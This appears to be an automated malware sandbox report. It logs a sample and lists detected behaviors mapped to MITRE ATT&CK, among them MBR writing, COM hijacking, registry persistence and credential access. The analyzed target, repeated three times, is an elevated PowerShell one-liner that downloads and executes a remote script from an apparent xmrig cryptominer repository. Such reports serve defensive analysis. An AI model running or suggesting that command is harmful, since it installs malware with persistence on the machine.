General
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Target
http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
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Sample
241031-pmd7bswqct
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
Resource
win10ltsc2021-20241023-en
Malware Config
Targets
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Target
http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
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Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
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Blocklisted process makes network request
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Boot or Logon Autostart Execution: Active Setup
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
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Downloads MZ/PE file
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Uses Session Manager for persistence
Creates Session Manager registry key to run executable early in system boot.
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Event Triggered Execution: Component Object Model Hijacking
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
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Executes dropped EXE
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Loads dropped DLL
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System Binary Proxy Execution: wuauclt
Abuse Wuauclt to proxy execution of malicious code.
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Checks installed software on the system
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Legitimate hosting services abused for malware hosting/C2
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Writes to the Master Boot Record (MBR)
Bootkits write to the MBR to gain persistence at a level below the operating system.
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Drops file in System32 directory
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MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Browser Extensions
1Event Triggered Execution
1Component Object Model Hijacking
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Access Token Manipulation
1Create Process with Token
1Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Defense Evasion
Access Token Manipulation
1Create Process with Token
1Modify Registry
5Pre-OS Boot
1Bootkit
1System Binary Proxy Execution
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Discovery
Browser Information Discovery
1Peripheral Device Discovery
1Query Registry
5Remote System Discovery
1System Information Discovery
5System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1